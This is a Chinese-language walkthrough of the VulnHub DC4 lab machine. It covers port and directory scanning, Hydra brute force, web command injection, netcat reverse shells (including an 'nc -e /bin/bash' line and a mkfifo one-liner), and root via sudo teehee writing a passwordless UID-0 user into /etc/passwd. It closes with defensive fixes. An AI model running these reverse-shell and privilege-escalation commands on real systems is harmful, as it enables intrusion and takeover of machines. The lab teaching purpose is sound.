资讯详情

资讯详情

DC4靶机完整渗透实战:弱口令爆破、命令注入到sudo提权全解析

1. 动手之前环境、目标与整体思路1.1 靶场怎么搭、Kali怎么配把DC4这台机器从头到尾打一遍是我最近一次比较解压的靶机练习。DC系列在VulnHub上出了非常多台DC4属于中间难度偏温和的一台不需要反编译、不需要二进制漏洞靠的是信息收集、弱口令爆破、命令注入和Linux提权这几板斧。想找一台能完整走完“外网打点、反弹Shell、提权、拿flag”全链路的目标DC4是我个人很推荐起步的一台。本文把我四种工具、三条思路、两次翻车的全过程记下来适合刚学渗透测试、对提权链路还不太熟的同学照抄也适合刷完DC1到DC3后想巩固基础的人。整篇记录的每一步操作都在VulnHub提供的本地靶场环境中完成不涉及任何真实系统。DC4本质上是一个封装好的虚拟机镜像。我把它下载下来之后直接用VMware导入OVA文件就行VirtualBox也支持两种虚拟化平台都有人用。网络模式我建议用NAT或者仅主机模式这样靶机和Kali攻击机在一个隔离的局域网里不会波及真实网络也能保证扫描结果干净可复现。靶机默认是不给IP的需要自己找。启动后用arp-scan -l扫一下局域网很快能看到多出来的那台机器记下它的IP。我的环境里靶机地址是192.168.56.108攻击机Kali是192.168.56.102后面所有命令都基于这两个地址来写。如果你刚开始练DC系列我建议不要跳着打能把DC1到DC4按顺序走一遍最好。DC1让你理解CMS漏洞和Linux提权的基本链路DC2把WordPress利用和数据提取揉在一起DC3涉及一些进程分析和漏洞利用的思维DC4则回归到非常“真实外网”的风格——弱口令、命令注入、sudo滥用提权。整台机器没有任何高难度的逆向或堆利用只要信息收集做得仔细每个环节都有明确提示属于“卡住你只是因为不够细心”的类型。1.2 开局之前先定步骤不打无准备的仗打靶机和做项目一样最忌讳上来就乱敲命令。我习惯把一次完整的通关拆成四个阶段信息收集、入口突破、权限提升、审计复盘。每个阶段设置一个明确目标比如信息收集阶段的目标是“确认开放端口、服务版本、Web页面上所有可用功能点”没达到这个目标就不会进入下一步。入口突破阶段的目标是“拿到第一个远程Shell或者系统用户权限”否则继续回到信息收集找漏。这样的好处是卡住时你能快速定位是哪个阶段出了问题而不是情绪化地乱扫一通。很多新手打DC4卡住就是因为低估了信息收集的分量一看到登录框就想着爆破。其实这个登录框只是第一道门登录之后还有一个命令执行的功能点那才是真正打通权限的地方。如果不在前期把页面结构、功能参数、服务指纹都摸清楚后续很容易走进死角。所以我在下面的记录里会特意把每一步“为什么此时需要做这个操作”讲明白而不只是丢一串命令。2. 信息收集端口、目录和登录框暴露的东西2.1 端口扫描与版本识别先建立“攻击面清单”信息收集的第一件事是用Nmap做端口和服务识别。我通常的扫描命令是nmap -sV -sC -O -p- 192.168.56.108-sV探测服务版本-sC调用默认脚本-O做系统识别-p-扫全端口。DC4的响应很快我在实际环境里看到的结果是22端口SSH和80端口HTTP系统指纹显示是Debian系的Linux。这里要记住一个细节看到80端口不要急着只扫Web同时把SSH的版本记下来因为既然SSH开了就代表后续如果能拿到账号密码还有一个更稳定的远程登录通道。我见过有人扫完端口后只盯Web不管SSH结果在Web页面上绕了半天提不了权。其实在授权的真实环境或靶机练习里SSH端口的存在通常意味着“当你拿到某个用户凭据时可以直接用它登录系统省去维护反弹Shell的麻烦”。所以在笔记里我会单独写一行22端口是后续维持优先通道80端口是前期主要入口。2.2 目录枚举登录页和背后的功能点都要挖出来拿到80端口后我习惯先用Gobuster或Dirb做目录枚举看看Web服务的路由结构。命令可以是这样gobuster dir -u http://192.168.56.108 -w /usr/share/wordlists/dirb/common.txt -t 50我实际跑出来的结果是/css、/images、/index.php、/login.php这些常规路径。登录页在很多靶机里只是个跳板更重要的是找到登录后跳转到的功能页面尤其是带有参数、表单、上传点的地方。DC4的特别之处在于登录后有一个命令相关的功能区域这个才是命令注入的入口。所以目录枚举不只是找隐藏接口更是为了在登录后快速定位“哪些页面可能接受用户输入”。这里有个实操心得如果目录枚举没看到明显异常别急着加大字典先去登录页看看它的HTML源码和Cookie逻辑。有些靶机把功能点藏在登录跳转后才生成的路径里目录扫描在未登录状态是扫不到的。你可以先把登录页源码存下来等后面拿到后台权限后再重新跑一次带Cookie的目录扫描两轮结果对比往往会有惊喜。DC4这里我用第一轮扫描就看到了登录页但真正能执行命令的页面是在登录之后浏览到的所以单纯依靠扫描目录会漏掉关键信息。2.3 登录框先试探状态别上来就上Hydra面对登录框我的选择顺序是先看能否注册、能否重置密码、是否有SQL注入、再考虑暴力破解。DC4的登录页我试探下来没有明显的SQL注入特征也没有注册入口所以暴力破解成了合理选择。但这里有个原则问题值得强调暴力破解应该在目标本身允许低强度密码策略的前提下才值得尝试。靶机里设置弱口令是刻意为之是为了模拟真实外网中“账号密码过于简单”的漏洞而在真实环境中无休止的高线程爆破很容易触发封禁或引发告警所以一定要控节奏、看响应。我测试时有意识地去看了登录失败的返回提示比如错误的密码会显示“Invalid password”还是“User not found”这对后面Hydra的“失败条件”参数非常关键。DC4返回的是比较明确的失败提示这就给自动化爆破提供了很好的判定依据。记住这个思路先手工提交两次把成功和失败两种响应的差异看清楚再上工具而不是拿工具盲目怼。3. 入口实操从Hydra爆出的后台到命令注入3.1 Hydra爆破参数解析照着抄也能跑通在这一步我使用的命令大致是这样的hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.108 http-post-form /login.php:username^USER^password^PASS^:Invalid password -t 16简单拆一下-l admin指定登录名-P指定密码字典这里用的是Kali自带的rockyou.txthttp-post-form告诉Hydra这是一个通过POST提交表单的登录接口中间的字符串分三段第一段是提交路径第二段是POST体中的参数用^USER^和^PASS^做替换占位第三段是判定登录失败的标记。-t 16控制并发线程不要太贪心16到32之间比较稳妥。在实际情况里我一开始把参数名写错了写成email^USER^pass^PASS^结果跑了几分钟全是错误判断。后来重新抓包核对发现表单里真实的字段名是username和password。这个坑值得所有新手注意POST体里的参数名必须以抓包结果为准不能用肉眼猜。换上正确的参数名后爆破速度很快十几个线程跑了一阵子就出了结果admin/happy。密码弱到这个程度不爆破出来反而奇怪。3.2 登录后的命令执行点注入的三种常见姿势登录进去之后页面上有一个看起来没什么攻击性的功能本质上会把我输入的内容传递给底层系统命令来执行。这种场景在真实系统里太常见了比如Web后台提供一个“测试网络连通性”的面板传一个IP给ping命令或者提供“进程状态查询”把关键词拼接到ps里。遇到这种功能第一反应就应该是参数能不能逃逸出去执行其他命令。我一般会在输入框里先做三个测试输入一个正常参数看回显输入分号加命令看是否执行第二条输入管道符加命令看能否把输出重定向。用; whoami或者| whoami这类简单无害的命令做验证比直接上反弹Shell要理性得多。如果回显里出现了www-data说明命令注入是真实存在的。实测下来DC4对分号和管道符的过滤非常有限这是典型的未做输入白名单校验的漏洞防御上应该使用白名单正则来限制可接受的字符集合而不是简单地屏蔽几个特殊符号。有个容易忽略的细节命令注入有时会不回显这是因为它把输出丢弃了或者命令拼接的方式导致结果没显示在页面上。这种情况需要让命令结果“带出去”常见办法是用curl把结果传到你的监听器或者通过SSH/SCP传参。但DC4的回显是正常的所以我直接使用带外注入中最简单的反弹Shell来打通通道。合理利用回显可以大幅降低排错成本这也是为什么我一直强调先手动验证再自动化利用。3.3 反弹Shell的两三套写法以及为什么要切换交互式确认命令注入后我在自己的Kali上先起了一个监听nc -lvnp 4444然后在靶机的注入点里执行反弹命令。如果目标环境的nc支持-e参数写法最直接; nc -e /bin/bash 192.168.56.102 4444如果不支持-e可以用流量转发的方式; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 192.168.56.102 4444 /tmp/f这条命令的本质是利用命名管道做数据桥接把Shell的标准输入输出重定向到网络socket上属于在没有-e参数时的标准替代方案。如果你在授权的测试环境里遇到目标没有nc还可以尝试Python反弹Shell或Perl反弹Shell但靶机环境一般用不到。监听机器上收到Shell后我第一时间做两件事一条whoami确认当前权限是www-data一条python3 -c import pty; pty.spawn(/bin/bash)把Shell升级成交互式Shell。升级交互式的目的是一会儿要在里面翻目录、读文件、跑sudo命令没有完整的终端交互能力各种操作都会遇到莫名其妙的卡顿和行编辑问题。如果你也遇到这种远程Shell按方向键出现^[[A的尴尬说明你没有做PTY升级。3.4 初始权限下的信息翻找别急着找内核漏洞拿到www-data权限后我开始在系统里翻信息。很多人到这里会直接掏出内核提权漏洞去打这是个大误区。DC4这类靶机设计的提权路径几乎都在配置问题上内核漏洞既不稳定也不在出题人的预期里。我翻的顺序是Web配置目录、站点源码、home目录列表、系统用户列表。先把这些“明面上的线索”看完再考虑动态分析。在翻的过程中我看到了/home下面有普通用户的存在通常是jim。继续往jim的家目录看会找到一些与密码相关的文件或备份比如历史命令记录、旧密码备份文件。这些文件往往就是出题人故意留下的提示。这里有个经验普通文件权限下能读到的敏感信息往往比想象中多尤其/home目录默认没有严格限制读取权限时一个Web进程权限就能把它翻个底朝天。生产环境里应当时刻记住家目录权限和敏感文件的ACL要收紧不该让www-data用户扫得到。4. 横向与提权从普通文件到root权限4.1 在家目录和邮件里挖出jim的SSH密码顺着/home/jim翻下去我找到了一些密码相关的内容。在我刷的这台环境里里面有一份旧密码记录和邮件提醒梳理之后得到一组关键凭据jim/juliet。需要说明的是不同版本的DC4可能在密码提示的细节上略有不同但思路是一致的——找与jim相关的密码文件厘清哪个密码对应哪个服务。拿到凭据之后我直接用SSH登录ssh jim192.168.56.108这里就体现出前期记下SSH端口的好处了。用SSH登录比继续维持反弹Shell要稳定得多而且后续执行sudo命令、编辑文件都不会动不动断连。如果你在反弹Shell里发现juliet能正常登录但SSH连不上优先检查是不是网络模式导致攻击机无法直达靶机的22端口而不是怀疑密码错了。有些教程在拿到jim密码后会尝试继续爆破root或者用su root猜密码但在DC4里这是一条死路。真正的提权点根本不在密码强度上而是藏在sudo的授权配置里。所以不要顺着“继续爆破密码”的老思路走应该去看当前用户在系统里的特权边界。4.2 sudo -l 看到teehee提权思路就清晰了登录到jim后确认身份的第一条命令就应该是sudo -l这条命令会列出当前用户被允许用sudo执行哪些命令以及是否需要密码。我的输出里有一行关键授权当前用户可以用root权限运行/usr/bin/teehee并且不需要密码。坦白说我第一次看到这个结果也愣了一下teehee不是一个常见工具查了才知道它其实是一个文本编辑器/文件追加工具类似一个轻量级的“写入文件”小工具。这类工具一旦能被无密码sudo执行就等同于你拥有了“以任意身份写文件”的能力。你可以脑补一下如果系统允许某个员工不刷卡就能进入打印室而这个打印室里有万能钥匙那这个员工实际上已经拿到了通往所有房间的钥匙。写入文件的能力配合Linux账号体系就是一条十分经典的提权路线。不要急着去拼内核漏洞先想想“我能不能用sudo权限改写系统的关键文件”。作为对比sudo vim这类编辑器提权你可能也听说过思路其实一样编辑器能通过命令行扩展机制执行Shell。这里我们只有一个teehee所以更直接的做法是用它去改系统认证文件。4.3 利用teehee写passwd新增一个特权用户在利用层面我选择的方式是向/etc/passwd文件追加一个新用户echo root2::0:0:root:/root:/bin/bash | sudo /usr/bin/teehee -a /etc/passwd逐段解释这条命令的含义echo生成一行符合passwd格式的记录root2是新用户名后面的两个冒号之间如果留空就代表口令字段为空第三个字段的0是UID也是判断一个用户是否具备root权限的关键0代表超级用户。/usr/bin/teehee -a表示以追加模式向指定的/etc/passwd文件写入。执行完之后我可以直接通过su root2切换到新用户因为它的UID是0一进系统就是root身份。有些环境在写空密码的passwd条目后登录时可能受PAM或passwd文件的认证策略影响此时可以改用更稳妥的方案先生成一个加密密码哈希替换掉root2::0:0中的空口令位置然后用openssl passwd -1 -salt xyz 你的密码生成一个密码串。不过DC4默认配置下空的密码字段在su直接切换时是可以用的我实测下来没有问题。如果你在刷机时发现su root2要求输入密码十有八九是passwd字段格式出错重新检查一下你追加的那一行是否符合规范即可。4.4 切换root2读取flag整条链路完成追加完passwd条目后我执行了su root2如果一切正常命令不会要求输密码直接进入一个新的Shell。用id确认一下显示uid0(root)时就说明已经是root权限了。之后去/root目录里读取flag文件标志着一整套流程走通。拿到flag代表的是“你把该台靶机的漏洞链路完整利用了”但这只是练习的终点不是学习的终点。我更建议在拿到root之后再把整条攻击链反向梳理一遍回答三个问题入口靠的是什么漏洞横向移动靠什么信息泄漏提权靠什么配置缺陷这三个问题对应的就是密码政策失效、敏感文件权限过大、sudo权限分配不合理。把这三条写成笔记远比记住一个flag有价值。这也是为什么我一直跟练靶机的新人说通关之后写复盘不要忙着打下一台。5. 通关过程中的常见卡点与自查清单5.1 Hydra爆破不出结果先抓包核对表单参数爆破类问题里最容易出现的卡点是表单参数名和被判定为失败的关键词不准确。我第一遍刷DC4时把字段名猜错了跑了挺久都没有结果后来用浏览器开发者工具抓了一次登录包的POST数据才看到真实的参数是username和password。所以遇到爆破思路对但不出结果的情况把抓包结果翻出来逐字段比对比换更大的字典更有效。另一个容易踩的坑是失败判定词有些页面在密码错误时返回HTTP 200但页面内容没有明显“Invalid”字样此时用错误的响应状态码或字符长度来做判定会误伤大量正确密码。5.2 反弹Shell不稳定先检查监听与网络模式反弹Shell频繁断开是靶机练习里的常见体验。如果你遇到连接上就断或者执行长命令时掉线优先检查三件事攻击机和靶机是否真的在同网段、监听地址是否写对了IP、反弹命令里的监听端口是否和nc -lvnp里的端口一致。我通常会在Kali里开两个终端一个终端固定监听另一个终端负责测试连接一旦收到Shell就立刻用python3 -c import pty; pty.spawn(/bin/bash)升交互式减少后续行编辑问题。如果还是老断就用SSH登录的方式代替反弹Shell这也是我刷DC4时最终采用的稳定通道。5.3 teehee提权失败大概率是passwd格式写错用teehee写/etc/passwd提权这步操作不复杂但格式必须严谨。passwd文件中每一行的字段顺序是固定的用户名、密码位、UID、GID、备注、家目录、Shell。任何字段错位都可能导致新用户无法合法登录。我见过有人追加了一行后执行su root2提示“Permission denied”检查才发现是因为把UID写成了普通用户值而不是0。另外追加内容的末尾要有换行确保新用户记录独立成行否则会和上一行内容粘连。如果追加后登录失败直接读一下/etc/passwd里新加的那一行对照正常用户的格式检查一遍基本能定位问题。5.4 从防守者视角看这套链路怎么闭环把DC4的整条链路由攻转防修复点非常清晰。第一登录后台的密码策略必须强硬执行禁止弱口令和重复口令第二命令执行的输入要做白名单校验从协议上限制只能传入IP、域名等固定格式而不是过滤几个特殊符号就完事第三系统敏感文件如/etc/passwd的ACL权限不能对普通用户开放写权限同时sudo的规则要遵循最小权限原则teehee这类可写文件的工具尽量不要无密码授权给普通用户第四日志审计要足够敏感/etc/passwd突然新增UID为0的用户是非常强的入侵信号应当在检测规则里内置告警。能把这四点讲清楚说明你不是在背题而是真的理解了这套攻击链。我在实际练习里最大的体会是DC4的难度其实不在某个漏洞利用的复杂度而在于解题人对“信息收集”是否足够耐心。所有关键线索都摆在明面上只要按照端口扫描、目录枚举、登录后台、命令注入、翻找凭据、sudo审计这条路径老老实实走下去通关是必然结果。相反如果一开始就急着找高分利用跳过登录页分析反而会在半路迷失方向。最后顺手分享一个小习惯我每次打完靶机都会把本机的命令历史整理成一份带注释的笔记标注哪些命令是成功的、哪些是排错过程、哪个知识点可以在真实防御里复用。这样下一次遇到Web命令注入或者sudo配置脆弱点时我就有了一份属于自己的查表。你也试试看刷完DC4后再回头整理一遍收获会比单纯记flag大很多。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →